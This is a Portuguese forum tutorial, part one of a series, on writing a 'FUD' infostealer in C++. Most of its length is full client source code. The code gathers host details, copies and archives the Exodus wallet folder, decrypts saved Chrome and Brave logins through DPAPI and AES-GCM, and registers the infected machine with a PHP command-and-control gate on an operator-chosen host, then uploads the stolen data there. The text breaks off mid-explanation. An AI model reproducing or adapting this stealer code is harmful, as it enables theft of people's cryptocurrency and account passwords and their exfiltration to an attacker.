Este é o primeiro Tutorial intitulado: Crie seu próprio FUD avançado Stealer PARTE 1.
Este tutorial irá dividi-lo em 2 partes { Lado do cliente e lado do servidor } para torná-lo mais compreensível para os leitores.
Então esta é a primeira PARTE E será o Cliente
Depois de ver muitas perguntas neste fórum sobre como iniciar o desenvolvimento de Malware e como codificar alguns futuros de malware, decidi começar uma série sobre desenvolvimento de malware,
Por causa da fama de ladrões, Vou começar esta série criando um tutorial avançado de ladrão.
Esta série cobre a codificação do SERVIDOR e do CLIENTE e cobrirá as técnicas mais usadas e os futuros mais famosos e serão os futuros acima.
FUTUROS:
- Ladrão de carteira criptográfica
- Ladrão de logins de navegadores
- Notificador de Telegrama
Esses futuros são os mais famosos e a maioria das pessoas aluga ou compra um ladrão para usar essas funções.
A)- Ladrão de carteira criptográfica
Para o ladrão de criptomoedas, daremos um exemplo na carteira EXODUS, a carteira criptográfica mais pública para Windows Desktop (PC), mas você pode usar a mesma técnica em qualquer outra carteira criptográfica com poucas alterações que você precisa fazer, mas este tutorial lhe dará a ideia e a codificação e o colocará no caminho certo para começar.
B)- Ladrão de logins de navegadores
Para o navegador, também daremos um exemplo no navegador mais usado (chrome), mas não se preocupe, este método funciona para todos os navegadores baseados em Chromium, para que você possa cobrir 90% dos navegadores, e cerca de firefox levará sobre isso na PARTE 2.
C)-Telegram Notifier
O notificador do Telegram é muito fácil apenas quando um novo bot é registrado no banco de dados, envie uma solicitação HTTP para a API do telegram com detalhes do bot para informar ao proprietário do painel do bot que há um novo bot.
Antes de começarmos a codificar, você deve saber algumas coisas.
A biblioteca que usaremos neste tutorial estará incluída nos anexos, você também pode pesquisar no Github, Google e baixá-los.
A linguagem de programação que usaremos neste tutorial.
Para o cliente C++
Para o servidor php
Html, css não são linguagens de programação, mas vamos usá-los para codificar nosso painel e adicionar algum estilo a ele também para exibir e baixar dados roubados.
Bibliotecas necessárias.
- openssl (para descriptografar).
- jsoncpp (para analisar arquivos json).
- Sqllite (para conectar ao banco de dados do navegador)
- base64 (para decodificação, codificação) base64
Outras bibliotecas da Microsoft serão usadas, mas são instaladas por padrão com o visual studio c ++
Como, wininet, Winsock versão 2.
Explicarei cada código sob o CÓDIGO ou IMAGEM, então aqui você precisa prestar atenção com muito cuidado para entender cada código por que está escrito .
COMEÇANDO...
Abra o visual studio e crie um novo projeto c++ vazio
Dê o nome que você quiser, eu vou chamar de xssStealer
Adicione um novo arquivo c++ vazio, este arquivo terá a função main()
Vou nomear o arquivo como ladrão.cpp
Agora vamos adicionar a classe necessária e nomeá-la como a lista a seguir.
lista de aulas
- robô
- httpc2c
-ftp
- cripto
- navegadores
Para adicionar novas classes ao visual studio, siga os passos nas imagens abaixo.
1 . Clique com o botão direito do mouse no projeto -> depois Adicionar
2 . em seguida, clique em classe irá abrir esta janela
3 . adicione o nome da classe e pressione OK
Agora abra o arquivo common.h e adicione as seguintes linhas
#define _WIN32_LEAN_AND_MEAN
#define _CRT_SECURE_NO_WARNINGS
#define _CRT_NONSTDC_NO_DEPRECATE
#include <Winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <winreg.h>
#include <shlobj.h>
// output libs
#include <iostream>
#include <algorithm>
#include <random>
#include <string>
#include <stdio.h>
#include <dpapi.h>
#include<fstream>
#include <cassert>
#include <wininet.h>
#include <versionhelpers.h>
#include <shlwapi.h>
#pragma comment(lib,"Shlwapi.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"Crypt32.lib")
#define HOST "YOURDOMAIN"
#define PORT "80"
#define FTPUSER "admin"
#define FTPPASS "admin"
typedef NTSTATUS(NTAPI* fRtlGetVersion)(LPOSVERSIONINFOEXW);
Não há nada difícil apenas incluindo todas as bibliotecas necessárias e cabeçalhos de classes também definimos HOST, PORT, nomes de usuário ftp e host de mudança de senha ftp, porta, ftp para o seu próprio.
Agora abra bot.h e escreva o seguinte código.
#pragma once
#include "common.h"
class bot
{
public:
std::string LoggedInUser();
std::string WindowsVersion();
};
abra bot.cpp e escreva o seguinte código.
#include "bot.h"
std::string bot::LoggedInUser()
{
DWORD userLength = 100;
char *cLoggedInUser;
cLoggedInUser = (char*)malloc(userLength);
GetUserNameA(cLoggedInUser, &userLength);
return cLoggedInUser;
}
std::string bot::WindowsVersion()
{
FARPROC fRtlGetVersionLibAddress = GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");
if (fRtlGetVersionLibAddress == NULL)
return NULL;
fRtlGetVersion RtlGetVersion = (fRtlGetVersion)fRtlGetVersionLibAddress;
int dwMajorVersion = 0.0;
int dwMinorVersion = 0.0;
OSVERSIONINFOEXW osInfo;
osInfo.dwOSVersionInfoSize = sizeof(osInfo);
RtlGetVersion(&osInfo);
dwMajorVersion = osInfo.dwMajorVersion;
dwMinorVersion = osInfo.dwMinorVersion;
if (IsWindowsServer() == TRUE)
{
if (dwMajorVersion == 10 && dwMinorVersion == 0)
{
return "Windows Server 2016";
}
else if (dwMajorVersion == 6 && dwMinorVersion == 3)
{
return "Windows Server 2012 R2";
}
else if (dwMajorVersion == 6 && dwMinorVersion == 2)
{
return "Windows Server 2012 ";
}
else if (dwMajorVersion == 6 && dwMinorVersion == 1)
{
return "Windows Server 2008 R2 ";
}
else if (dwMajorVersion == 6 && dwMinorVersion == 0)
{
return "Windows Server 2008";
}
else if (dwMajorVersion == 5 && dwMinorVersion == 2)
{
return"Windows Server 2003 R2";
}
}
else
{
if (dwMajorVersion == 10 && dwMinorVersion == 0)
{
return "Windows 10";
}
else if (dwMajorVersion == 6 && dwMinorVersion == 3)
{
return "Windows 8.1";
}
else if (dwMajorVersion == 6 && dwMinorVersion == 2)
{
return "Windows 8";
}
else if (dwMajorVersion == 6 && dwMinorVersion == 1)
{
return "Windows 7";
}
else if (dwMajorVersion == 6 && dwMinorVersion == 0)
{
return "Windows Vista";
}
else if (dwMajorVersion == 5 && dwMinorVersion == 1)
{
return "Windows XP";
}
}
}
Explicando o código acima
Primeiro, criamos a classe que chamamos de bot esta classe é responsável por coletar informações sobre o bot os, como o usuário logado, a versão do sistema operacional Windows, o servidor ou a área de trabalho Como você pode ver em bot.cpp, temos 2
funções o primeiro é chamado LoggedInuser()
Esta função usa a função GetUserNameA (Winapi) para obter o usuário conectado e a
função WindowsVersion() é verificar se o ladrão está sendo executado na versão do servidor ou na versão da área de trabalho e, em seguida, determina a versão do Windows obtendo dwMajorVersion dwMinorVersion e comparando-os com os valores que encontramos na página de documentação da Microsoft, verifique esta URL para encontrar todas as versões disponíveis do Windows https://learn.microsoft.com/en-us/windo … rsioninfoa
Como você pode ver, alguns servidores e desktops são iguais, como o Windows 10 dwMajorVersion é 10 e dwMinorVersion é 0 também Windows Server 2016 dwMajorVersion é 10 e dwMinorVersion é 0 para determinar se é um servidor ou desktop Windows que usamos IsWindowsServer () é uma API do Windows função incluída em versionhelpers.h esta função retorna TRUE se o sistema operacional em execução for um servidor e retornará FALSE se for Desktop. então usamos instruções IF para verificar as versões.
Agora precisamos confirmar se o código acima está funcionando, então abra o arquivo stealer.cpp e crie um objeto da classe bot e imprima o usuário logado e a versão do Windows conforme mostrado abaixo
#include "common.h"
#include "browsers.h"
#include "httpc2c.h"
#include "bot.h"
#include "crypto.h"
#include "ftp.h"
#pragma comment(lib,"Wininet.lib")
int main(int argc, char* argv[])
{
bot* pbot = new bot();
std::cout << "Logged in user : " << pbot->LoggedInUser() << std::endl;
std::cout << "Windows Version : " << pbot->WindowsVersion() << std::endl;
}
Agora que terminamos de coletar as informações importantes do PC, ainda assim o ip e o país os receberão usando php quando o bot se conectar ao nosso gate.php, esta etapa será na seção de codificação php, apenas espere.
Agora vamos escrever o ladrão de carteira do Exodus Primeiro instale o Exodus em sua máquina, para vê-lo funcionar você precisa instalar o Windows no VMware ou caixa virtual e também instalar o Exodus e depois de roubar a carteira do Exodus da máquina host, vá para o VMware e substitua os arquivos do host por arquivos de convidados e você verá a carteira de convidados alterada para aquela que temos na máquina host.
#Exodus Crypto wallet Stealer
Agora abra crypto.h e adicione este código à classe crypto
#pragma once
#include "common.h"
class crypto
{
public:
char* exodusWalletPath;
char* CompressWalletPath;
int GetExodusWalletPath();
int CompressExodusWallet();
crypto()
{
exodusWalletPath = (char*)malloc(MAX_PATH);
CompressWalletPath = (char*)malloc(MAX_PATH);
}
};
Depois de concluir esta etapa, abra o arquivo crypto.cpp e adicione o código a seguir.
#include "crypto.h"
BOOL CmdExec(char* Command)
{
LPSTARTUPINFOA si = new STARTUPINFOA();
LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
BOOL CreatePorc = CreateProcessA(NULL, Command, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, si, pi);
return CreatePorc;
}
int crypto::GetExodusWalletPath()
{
char* exodusWalletPath;
exodusWalletPath = (char*)malloc(MAX_PATH);
char* LocalAppDataPath;
LocalAppDataPath = (char*)malloc(MAX_PATH);
size_t LocalAppDataSize;
_dupenv_s(&LocalAppDataPath, &LocalAppDataSize, "AppData");
strcpy(exodusWalletPath, LocalAppDataPath); // copy appdata path to exodus path
strcat(exodusWalletPath, "\\Exodus"); // copy exodus file name to exodus path
if (PathFileExistsA(exodusWalletPath) != TRUE) // if equal FALSE exodus not installed then return 1;
return 1;
this->exodusWalletPath = exodusWalletPath;
return 0;
}
int crypto::CompressExodusWallet()
{
char* TempPath;
TempPath = (char*)malloc(MAX_PATH);
char* ExodustempPath;
ExodustempPath = (char*)malloc(MAX_PATH);
size_t TempPathSize;
_dupenv_s(&TempPath, &TempPathSize, "temp");
strcpy(ExodustempPath, TempPath);
strcat(ExodustempPath, "\\exodus");
// copy exodus wallet file to temp
char* CopyCmd;
CopyCmd = (char*)malloc(MAX_PATH);
strcpy(CopyCmd, "xcopy /E /I ");
strcat(CopyCmd, this->exodusWalletPath);
strcat(CopyCmd, " ");
strcat(CopyCmd, ExodustempPath);
if (CmdExec(CopyCmd) == 0) // Create process faild
exit(1);
Sleep(2000);
char* compRessCmd;
compRessCmd = (char*)malloc(MAX_PATH);
strcpy(compRessCmd, "cmd /c \"cd ");
strcat(compRessCmd, ExodustempPath);
strcat(compRessCmd, " && tar -cf ");
strcat(compRessCmd, TempPath);
strcat(compRessCmd, "\\exodus.tar *\"");
//std::cout << compRessCmd << std::endl;
if (CmdExec(compRessCmd) == 0) // Create process faild
exit(1);
strcpy(CompressWalletPath, TempPath);
strcat(CompressWalletPath, "\\exodus.tar");
Sleep(2000);
return 0;
}
Explicando o código acima.
Em crypto.h temos 2 variáveis públicas e são exodusWalletPath, CompressWalletPath e 2 funções GetExodusWalletPath() e CompressExodusWalletPath()
Em exodusWalletPath a variável armazenará o caminho da carteira do êxodo e em CompressWalletPath armazenará o caminho da carteira do êxodo compactado.
Em crypto.cpp
Criamos uma nova função chamada CmdExec() para executar cmd usando a função CreateProcess() da WINAPI e inicializaremos GetExodusWalletPath() e CompressExodusWallet() como você vê no código acima.
Em GetExodusWalletPath(), estamos obtendo o caminho %AppData% usando _dupenv_s, então copiamos o caminho LocalAppDataPath para exodusWalletPath e copiamos o nome da pasta exodus para exodusWalletPath , o caminho padrão da pasta exodus é: %AppData%/exodus/
E por fim, verificamos se a carteira Exodus está instalada ou não usando a função PathFileExistsA Winapi, caso não esteja instalada retornamos 1; se instalado, armazenamos o caminho do exodus nesta->variável exodusWalletPath para que possamos acessar essa variável de outras funções da mesma classe
E usaremos esta variável this->exodusWalletPath em CompressExodusWallet() para copiar do caminho padrão do exodus para o caminho temporário , usando o cmd e o XCOPY usando a função que criamos CmdExec() ao terminar de copiar a pasta armazenará o caminho da pasta exodus compactada neste->CompressWalletPath agora usará tar.exe é padrão com o Windows para compactar a pasta exodus temporária antes de carregá-lo com FTP.
Agora precisamos testar se o código criptográfico está funcionando bem e se o coping e a compactação estão funcionando sem nenhum problema e para isso precisamos criar um novo objeto da classe crypto e executar as 2 funções
crypto* pcrypto = new crypto();
int IsInstalledExodus = pcrypto->GetExodusWalletPath(); // getting exodus wallet default path and check if installed or not
if (IsInstalledExodus == 1) return 0;
pcrypto->CompressExodusWallet(); // if installed copy exodus wallet to temp folder and compress it
Como você pode ver na imagem abaixo executando o resultado do exe
Tudo bem por enquanto terminamos a classe de bot e a classe de criptografia agora vamos entrar na classe httpc2c e esta classe é responsável por entrar em contato com o servidor http c&c, upload de dados e registro de bot.
Em httpc2c.h adicione as seguintes linhas.
#pragma once
#include "common.h"
std::string HttpParser(char* data);
class httpc2c
{
public:
// functions
std::string GetBotId();
void RegisterBot(std::string BotId, std::string LoggedInuser, std::string WindowsVersion);
void TransfeerStealedData(std::string BotId, char* Data); // Upload stealed passwords
};
Agora abra httpc2c.cpp e adicione o seguinte código
#include "httpc2c.h"
std::string HttpParser(char* data)
{
std::string stdCommend;
char hex[5000];
int sParse = 0;
for (int x = 0; x < strlen(data); x++)
{
sprintf(hex, "%x", data[x]);
if (strcmp(hex, "7c") == 0)
{
sParse = 1;
x += 2;
}
if (sParse == 1)
{
sprintf(hex, "%x", data[x]);
if (strcmp(hex, "7d") == 0)
{
stdCommend += data[x];
break;
}
else
{
stdCommend += data[x];
}
}
}
return stdCommend;
}
std::string httpc2c::GetBotId()
{
int iResult = 0;
WSADATA wsData;
struct addrinfo* result = NULL, * ptr = NULL, hints;
SOCKET connSocket = SOCKET_ERROR;
ZeroMemory(&hints, sizeof hints);
iResult = WSAStartup(MAKEWORD(2, 2), &wsData);
if (iResult != 0)
exit(1);
iResult = getaddrinfo(HOST, PORT, &hints, &result);
if (iResult != 0)
exit(1);
ptr = result;
connSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (connSocket == INVALID_SOCKET)
exit(1);
iResult = connect(connSocket, ptr->ai_addr, ptr->ai_addrlen);
if (connSocket == SOCKET_ERROR)
exit(1);
//// get cloud id for bot
char* genBotIDcommand;
genBotIDcommand = (char*)malloc(MAX_PATH);
strcpy(genBotIDcommand, "{\"action\":\"GenerateBotId\"");
strcat(genBotIDcommand, "}");
int genBotIDcommandLength = strlen(genBotIDcommand);
char StringgenBotIDcommandLength[200];
itoa(genBotIDcommandLength, StringgenBotIDcommandLength, 10);
char* HttpDatav1;
HttpDatav1 = (char*)malloc(genBotIDcommandLength + 5000);
strcpy(HttpDatav1, "POST /xssstealer/gate.php HTTP/1.0\r\n");
strcat(HttpDatav1, "Host: ");
strcat(HttpDatav1, HOST);
strcat(HttpDatav1, "\r\n");
strcat(HttpDatav1, "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\n");
strcat(HttpDatav1, "Content-Type: text/html\r\n");
strcat(HttpDatav1, "Content-Length: ");
strcat(HttpDatav1, StringgenBotIDcommandLength);
strcat(HttpDatav1, "\r\n");
strcat(HttpDatav1, "Accept-Charset: utf-8\r\n");
strcat(HttpDatav1, "\r\n");
strcat(HttpDatav1, genBotIDcommand);
strcat(HttpDatav1, "\r\n");
strcat(HttpDatav1, "\r\n");
iResult = send(connSocket, HttpDatav1, strlen((const char*)HttpDatav1), 0);
if (iResult == SOCKET_ERROR)
exit(1);
// recive section
char* RecivedBotId;
RecivedBotId = (char*)malloc(4096);
iResult = recv(connSocket, (char*)RecivedBotId, 4096, 0);
if (iResult == SOCKET_ERROR)
exit(1);
closesocket(connSocket);
WSACleanup();
//std::cout << RecivedBotId << std::endl;
return HttpParser(RecivedBotId);
}
void httpc2c::RegisterBot(std::string BotId, std::string LoggedInuser, std::string WindowsVersion)
{
// Upload gathered Data to http server
int iResult = 0;
WSADATA wsData;
struct addrinfo* result = NULL, * ptr = NULL, hints;
SOCKET connSocket = SOCKET_ERROR;
ZeroMemory(&hints, sizeof hints);
iResult = WSAStartup(MAKEWORD(2, 2), &wsData);
if (iResult != 0)
exit(1);
iResult = getaddrinfo(HOST, PORT, &hints, &result);
if (iResult != 0)
exit(1);
ptr = result;
connSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (connSocket == INVALID_SOCKET)
exit(1);
iResult = connect(connSocket, ptr->ai_addr, ptr->ai_addrlen);
if (connSocket == SOCKET_ERROR)
exit(1);
/* Register bot data */
char* botData;
botData = (char*)malloc(MAX_PATH);
strcpy(botData, "{\"action\":\"registerbotinfo\"");
strcat(botData, ",\"botid\":\"");
strcat(botData, BotId.c_str());
strcat(botData, "\"");
strcat(botData, ",\"user\":\"");
strcat(botData, LoggedInuser.c_str());
strcat(botData, "\"");
strcat(botData, ",\"windowsversion\":\"");
strcat(botData, WindowsVersion.c_str());
strcat(botData, "\"");
strcat(botData, "}");
//std::cout << WindowsVersion << std::endl;
//std::cout << LoggedInuser << std::endl;
int botDatacommendLength = strlen(botData);
char StringbotDataCommendLength[200];
itoa(botDatacommendLength, StringbotDataCommendLength, 10);
char* HttpDatav2;
HttpDatav2 = (char*)malloc(botDatacommendLength + 5000);
strcpy(HttpDatav2, "POST /xssstealer/gate.php HTTP/1.0\r\n");
strcat(HttpDatav2, "Host: ");
strcat(HttpDatav2, HOST);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\n");
strcat(HttpDatav2, "Content-Type: text/html\r\n");
strcat(HttpDatav2, "Content-Length: ");
strcat(HttpDatav2, StringbotDataCommendLength);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "Accept-Charset: utf-8\r\n");
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, botData);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "\r\n");
iResult = send(connSocket, HttpDatav2, strlen((const char*)HttpDatav2), 0);
if (iResult == SOCKET_ERROR)
exit(1);
// recive section
char* rData;
rData = (char*)malloc(4096);
iResult = recv(connSocket, (char*)rData, 4096, 0);
if (iResult == SOCKET_ERROR)
exit(1);
closesocket(connSocket);
WSACleanup();
//std::cout << rData << std::endl;
}
void httpc2c::TransfeerStealedData(std::string BotId, char* Data)
{
// Upload the stealed passwords over http
int iResult = 0;
WSADATA wsData;
struct addrinfo* result = NULL, * ptr = NULL, hints;
SOCKET connSocket = SOCKET_ERROR;
ZeroMemory(&hints, sizeof hints);
iResult = WSAStartup(MAKEWORD(2, 2), &wsData);
if (iResult != 0)
exit(1);
iResult = getaddrinfo(HOST, PORT, &hints, &result);
if (iResult != 0)
exit(1);
ptr = result;
connSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (connSocket == INVALID_SOCKET)
exit(1);
iResult = connect(connSocket, ptr->ai_addr, ptr->ai_addrlen);
if (connSocket == SOCKET_ERROR)
exit(1);
/* transfeer stealed data */
char* botData;
botData = (char*)malloc(strlen(Data) + 1000);
strcpy(botData, "{\"action\":\"uploadData\"");
strcat(botData, ",\"botid\":\"");
strcat(botData, BotId.c_str());
strcat(botData, "\"");
strcat(botData, ",\"logs\":\"");
strcat(botData, Data);
strcat(botData, "\"");
strcat(botData, "}");
int botDatacommendLength = strlen(botData);
char StringbotDataCommendLength[200];
itoa(botDatacommendLength, StringbotDataCommendLength, 10);
char* HttpDatav2;
HttpDatav2 = (char*)malloc(botDatacommendLength + 5000);
strcpy(HttpDatav2, "POST /xssstealer/gate.php HTTP/1.0\r\n");
strcat(HttpDatav2, "Host: ");
strcat(HttpDatav2, HOST);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\n");
strcat(HttpDatav2, "Content-Type: text/html\r\n");
strcat(HttpDatav2, "Content-Length: ");
strcat(HttpDatav2, StringbotDataCommendLength);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "Accept-Charset: utf-8\r\n");
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, botData);
strcat(HttpDatav2, "\r\n");
strcat(HttpDatav2, "\r\n");
iResult = send(connSocket, HttpDatav2, strlen((const char*)HttpDatav2), 0);
if (iResult == SOCKET_ERROR)
exit(1);
// recive section
char* rData;
rData = (char*)malloc(4096);
iResult = recv(connSocket, (char*)rData, 4096, 0);
if (iResult == SOCKET_ERROR)
exit(1);
closesocket(connSocket);
WSACleanup();
}
Explicando o código acima.
A função HttpParser(char* httpResponse) é muito simples, basta procurar o | símbolo e uma vez que o encontramos,
isso significa que terminamos de preparar o cabeçalho e começamos no corpo da resposta do servidor, por padrão o servidor não responderá com | símbolo, então, para fazer isso, será necessário adicioná-lo no arquivo php gate.php, mas por enquanto vamos nos concentrar no código cpp.
GetBotId() como você pode ver no código acima, usamos Winsock para enviar dados json usando solicitação de postagem http, os dados json são {action,GenerateBotId} e isso significa que somos um novo bot e precisamos gerar um novo ID aleatório no código php, usamos a decodificação json para decodificar esta solicitação e verificar a ação se o seu GenerateBotId gerar um novo ID, você verá isso no código abaixo assim que terminarmos a seção de codificação cpp
RegisterBot() Depois de gerarmos o ID do BOT na nuvem usando php, agora vamos ler a resposta do servidor e analisá-la usando a função HttpParser() para ler o id do bot, depois de concluir todas essas etapas, agora usaremos os dados que coletamos sobre o bot de Bot de classe, como o usuário logado e a versão do Windows, você pode rolar para cima para ver a função de que estamos falando.
E agora enviará todos os dados coletados para o servidor para registrar o bot no banco de dados.
E o json vai ficar assim.
{action,registerbotinfo,botid,generated bot id,user,Logged-IN user,windowsversion,Current windows version} Vamos voltar novamente para a função principal e criar
novos object da classe httpc2c e execute as duas funções GetBotId() , RegisterBot()
Conforme mostrado no código abaixo
httpc2c* HttpClient = new httpc2c();
std::string BotId = HttpClient->GetBotId();
HttpClient->RegisterBot(BotId, pbot->LoggedInUser(), pbot->WindowsVersion());
Podemos adicionar o código de registro antes da carteira do êxodo. Será melhor .
OK: Agora coletamos as informações sobre o bot de infecção atual como { WinVersion,CurrentLogged User , IP AND Country Será discutido na seção PHP e o ID exclusivo é gerado no SERVIDOR também este será discutido na seção PHP } #Chrome
Web Ladrão de navegador e navegadores baseados em Chromium.
Antes de iniciar a codificação, precisamos adicionar as seguintes bibliotecas ao nosso projeto para poder descriptografar logins e também decodificar base64
Então aqui está.
Também abressl
E biblioteca estática para openssl
Nota: Todas as bibliotecas estarão em anexo
E não se esqueça de incluir os arquivos cpp das libs em seu projeto
Volte para common.h e adicione essas novas linhas
#include "sqlite3/sqlite3.h"
#include "jsoncpp/json/json.h"
#include "base64/base64.h"
#include "openssl/conf.h"
#include "openssl/evp.h"
#include "openssl/err.h"
Vá para browser.h e adicione o seguinte código
#include "common.h"
class ChromuimBrowsers
{
public:
/* variables */
char* TempLoginDataPath;
char* LocalStatePath;
char* LoginDataPath;
char* encryptedMasterKey;
int EncryptedMasterKeyLength;
DATA_BLOB DecryptedMasterKey;
char* Buffer;
/* functions */
void GetBrowserPath(const char* BrowserName);
void DecodeBase64Key();
void DecryptLoginData();
void DecryptMasterKey();
BOOL AesDecrypt(DATA_BLOB cipher, DATA_BLOB key, DATA_BLOB iv, PDATA_BLOB decrypted);
int DecryptPassword(const DATA_BLOB encryptedPassword, const DATA_BLOB masterKey, PDATA_BLOB decryptedPassword);
void CompressPassword();
void UploadFiles();
ChromuimBrowsers()
{
LocalStatePath = (char*)malloc(MAX_PATH);
LoginDataPath = (char*)malloc(MAX_PATH);
encryptedMasterKey = (char*)malloc(MAX_PATH);
Buffer = (char*)malloc(100000);
}
};
Abra browser.cpp
E também adicione essas funções
#include "browsers.h"
void ChromuimBrowsers::GetBrowserPath(const char* BrowserName)
{
char* LocalAppDataPath;
LocalAppDataPath = (char*)malloc(MAX_PATH);
size_t LocalAppDataSize;
_dupenv_s(&LocalAppDataPath, &LocalAppDataSize, "LOCALAPPDATA");
strcpy(this->LocalStatePath, LocalAppDataPath);
strcpy(this->LoginDataPath, LocalAppDataPath);
if (strcmp(BrowserName, "chrome") == 0)
{
strcat(this->LocalStatePath, "\\Google\\Chrome\\User Data\\Local State");
strcat(this->LoginDataPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
}
else if (strcmp(BrowserName, "brave") == 0)
{
strcat(this->LocalStatePath, "\\BraveSoftware\\Brave-Browser\\User Data\\Local State");
strcat(this->LoginDataPath, "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data");
}
}
void ChromuimBrowsers::DecodeBase64Key()
{
char* TempPath;
TempPath = (char*)malloc(MAX_PATH);
size_t TempPathSize;
_dupenv_s(&TempPath, &TempPathSize, "temp");
char TempLocalStatePath[MAX_PATH];
strcpy(TempLocalStatePath, TempPath);
strcat(TempLocalStatePath, "\\Local State");
CopyFileA(this->LocalStatePath, TempLocalStatePath, FALSE);
std::ifstream LocalStateFile(TempLocalStatePath);
Json::Value jData;
Json::Reader JsonReader;
JsonReader.parse(LocalStateFile, jData);
const char* Base64Key = jData["os_crypt"]["encrypted_key"].asCString();
int Base64KeyLength = Base64decode_len(Base64Key);
char* encryptedKey = (char*)malloc(Base64KeyLength);
Base64decode(encryptedKey, Base64Key);
this->encryptedMasterKey = encryptedKey;
this->EncryptedMasterKeyLength = Base64KeyLength;
return;
}
void ChromuimBrowsers::DecryptMasterKey()
{
BYTE* encryptedKeyB = (BYTE*)LocalAlloc(LPTR, this->EncryptedMasterKeyLength);
memcpy(encryptedKeyB, this->encryptedMasterKey, this->EncryptedMasterKeyLength);
// Removing "DPAPI" (5 symbols)
DATA_BLOB EncryptedMasterKeyIn;
EncryptedMasterKeyIn.cbData = EncryptedMasterKeyLength - 5;
EncryptedMasterKeyIn.pbData = encryptedKeyB + 5;
if (!CryptUnprotectData(&EncryptedMasterKeyIn, NULL, NULL, NULL, NULL, 0, &this->DecryptedMasterKey))
{
exit(1);
}
}
void ChromuimBrowsers::DecryptLoginData()
{
char* TempPath;
TempPath = (char*)malloc(MAX_PATH);
size_t TempPathSize;
_dupenv_s(&TempPath, &TempPathSize, "temp");
char TempLoginDataPath[MAX_PATH];
strcpy(TempLoginDataPath, TempPath);
strcat(TempLoginDataPath, "\\Login Data");
CopyFileA(this->LoginDataPath, TempLoginDataPath, FALSE);
this->TempLoginDataPath = TempLoginDataPath;
sqlite3* connection;
if (sqlite3_open(TempLoginDataPath, &connection) != SQLITE_OK)
exit(1);
const char* query = "SELECT action_url, username_value, password_value FROM logins";
sqlite3_stmt* result;
if (sqlite3_prepare_v2(connection, query, -1, &result, 0) != SQLITE_OK)
exit(1);
char* Buffer;
Buffer = (char*)malloc(100000);
strcpy(Buffer, "\n");
while (sqlite3_step(result) != SQLITE_DONE)
{
const unsigned char* SiteUrl = sqlite3_column_text(result, 0);
const unsigned char* Username_Email = sqlite3_column_text(result, 1);
if (strlen((char*)SiteUrl) > 0)
{
const DATA_BLOB encryptedPassword = { sqlite3_column_bytes(result, 2), (BYTE*)sqlite3_column_blob(result, 2) };
BYTE decryptedPasswordBuf[512];
DATA_BLOB decryptedPassword = { 0, decryptedPasswordBuf };
if (DecryptPassword(encryptedPassword, this->DecryptedMasterKey, &decryptedPassword))
{
char* password;
password = (char*)malloc(decryptedPassword.cbData);
memcpy_s(password, decryptedPassword.cbData, decryptedPassword.pbData, decryptedPassword.cbData);
strcat(Buffer, "Url : ");
strcat(Buffer, (char*)SiteUrl);
strcat(Buffer, "\n");
strcat(Buffer, "Username/email : ");
strcat(Buffer, (char*)Username_Email);
strcat(Buffer, "\n");
strcat(Buffer, "Password : ");
strcat(Buffer, (char*)password);
strcat(Buffer, "\n------------------------------------------------------------------------------------\n");
}
}
}
Base64encode(this->Buffer, Buffer, strlen(Buffer) + 1);
sqlite3_finalize(result);
sqlite3_close(connection);
remove(TempLoginDataPath);
LocalFree(this->DecryptedMasterKey.pbData);
}
BOOL ChromuimBrowsers::AesDecrypt(DATA_BLOB cipher, DATA_BLOB key, DATA_BLOB iv, PDATA_BLOB decrypted)
{
int dataLength;
int TotaLength = 0;
int errorID;
EVP_CIPHER_CTX* pContext = EVP_CIPHER_CTX_new();
if (!pContext)
{
return FALSE;
}
else
{
if (!EVP_DecryptInit_ex(pContext, EVP_aes_256_gcm(), NULL, NULL, NULL))
{
return FALSE;
}
else
{
if (!EVP_CIPHER_CTX_ctrl(pContext, EVP_CTRL_GCM_SET_IVLEN, iv.cbData, NULL))
{
return FALSE;
}
else
{
if (!EVP_DecryptInit_ex(pContext, NULL, NULL, key.pbData, iv.pbData))
{
return FALSE;
}
else
{
if (!EVP_DecryptUpdate(pContext, decrypted->pbData + TotaLength, &dataLength, cipher.pbData + TotaLength, cipher.cbData))
{
return FALSE;
}
else
{
TotaLength += dataLength;
int ret = EVP_DecryptFinal_ex(pContext, decrypted->pbData + TotaLength, &dataLength);
TotaLength += dataLength;
EVP_CIPHER_CTX_free(pContext);
decrypted->cbData = TotaLength;
errorID = 0;
return TRUE;
}
}
}
}
}
if (errorID == 0)
return TRUE;
}
int ChromuimBrowsers::DecryptPassword(const DATA_BLOB encryptedPassword, const DATA_BLOB masterKey, PDATA_BLOB decryptedPassword)
{
const DATA_BLOB iv = { 15 - 3, encryptedPassword.pbData + 3 };
const DATA_BLOB payload = { encryptedPassword.cbData - 15, encryptedPassword.pbData + 15 };
int ret = AesDecrypt(payload, masterKey, iv, decryptedPassword);
decryptedPassword->cbData -= 16;
decryptedPassword->pbData[decryptedPassword->cbData] = '\0';
return ret;
}
Como o Chrome criptografa as senhas e as armazena no banco de dados SQL.
